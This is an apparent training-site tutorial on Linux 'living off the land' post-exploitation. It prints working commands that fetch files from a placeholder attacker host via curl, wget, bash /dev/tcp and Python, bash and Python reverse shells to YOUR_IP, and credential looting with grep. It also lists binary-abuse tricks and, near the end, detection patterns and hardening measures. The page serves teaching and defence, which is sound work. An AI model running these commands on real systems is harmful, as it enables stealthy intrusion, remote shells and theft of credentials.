Skip to content
Pwnversity
LIN-LOTLintermediate · 4 min · upd. 2026-10

Living off the Land on Linux

T1059.004

“Living off the Land” (LOTL) is operating using only the tools that already exist on the system, without uploading your own binaries. The reason is stealth: uploading tools leaves files the EDR scans and that expose the intrusion, while using legitimate system binaries (bash, python, curl, tar, the distro’s own) blends in with normal activity. It’s key in post-exploitation and often the only option when you can’t write to disk.

The attacker assumes uploading and running malware will be caught by signatures or file integrity. Instead, they squeeze the “extra” capabilities of legitimate binaries: download files, open shells, read protected data, execute code, exfiltrate. The result is a post-exploitation chain with almost no file IOCs, very hard to tell apart from normal system administration.

Every legitimate binary has functions that can be diverted for offensive ends. GTFOBins catalogs exactly those capabilities per binary (shell, file read/write, download, command execution). LOTL is inventorying what’s installed and cross-referencing it with those capabilities. It’s the Linux parallel of LOLBAS on Windows (see Defense Evasion).

Ventana de terminal
which bash python3 perl php ruby curl wget nc socat openssl 2>/dev/null
compgen -c | sort -u # commands available in PATH
Ventana de terminal
curl http://YOUR_IP/f -o f; wget http://YOUR_IP/f # whatever's there first
# no curl/wget: pure bash over /dev/tcp
exec 3<>/dev/tcp/YOUR_IP/80; printf 'GET /f HTTP/1.0\r\n\r\n' >&3
# drop the status line and headers up to the blank CRLF line; keep only the body
sed -e '1,/^\r$/d' <&3 > f
# interpreters as downloaders
python3 -c 'import urllib.request;urllib.request.urlretrieve("http://YOUR_IP/f","f")'
python3 -m http.server 8000 # serve from the target
base64 file # encode for text channels

Shells and execution without uploaded binaries

Section titled “Shells and execution without uploaded binaries”
Ventana de terminal
bash -i >& /dev/tcp/YOUR_IP/4444 0>&1 # bash reverse shell (see fund-cli)
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("YOUR_IP",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
# stabilize the TTY: python3 -c 'import pty;pty.spawn("/bin/bash")' + stty raw -echo (see fund-cli)

Enumeration and looting with native binaries

Section titled “Enumeration and looting with native binaries”
Ventana de terminal
find / -perm -4000 2>/dev/null # SUID (native; see lin-enum)
grep -rni password /etc 2>/dev/null # credentials (native; see lin-creds)
# if stealth is critical, do it by hand instead of uploading linpeas
  • tar / zip → execution (--checkpoint-action, -TT).
  • find -exec → command execution.
  • awk, sed, vi → shell or file reading.
  • openssl → encrypt/exfiltrate, even as client/server.
  • systemd-run → execute in another context.

Each with its exact recipe in GTFOBins. The same technique serves SUID, sudo, and capabilities.

  • No file IOCs: you don’t upload malware that signatures/EDR detect.
  • Blends in: curl, python, and tar are constant legitimate activity.
  • Sometimes mandatory: read-only FS, no write permission, no outbound network to download tools.
  • Execution logging (auditd execve, eBPF/Falco): record which binaries run and with what arguments, not just which files appear. This is the key against LOTL.
  • Behavior detection: bash -i to /dev/tcp, python -c with sockets, tar --checkpoint-action, openssl as a server, unexpected systemd-run, python -m http.server.
  • Parent-child anomalies: a web service spawning bash/python, or curl followed by an interpreter.
  • Correlation in the SIEM and detection rules.

auditd/eBPF execution events, process logs with full command line, per-host network egress.

  • Reduce binaries: minimal images (distroless) in containers; remove unnecessary interpreters/tools.
  • Egress filtering: stops downloads and reverse shells.
  • AppArmor/SELinux: confine what each process can do (e.g. the web server can’t spawn shells).
  • Linux EDR that understands LOTL by behavior, not just file signatures.
  • Inventory binaries/interpreters (which, compgen -c)
  • Transfer files without uploading tools (curl/bash /dev/tcp/python)
  • Reverse shell with native binaries (bash/python)
  • Enumeration by hand with find/grep/ps (avoid linpeas if stealth needed)
  • Divert legitimate binaries via GTFOBins (tar/find/awk/openssl)
  • Exfiltrate over existing channels (DNS/HTTP, base64)
  • Minimize files written to disk
  • Blue: execution logging and behavior detection?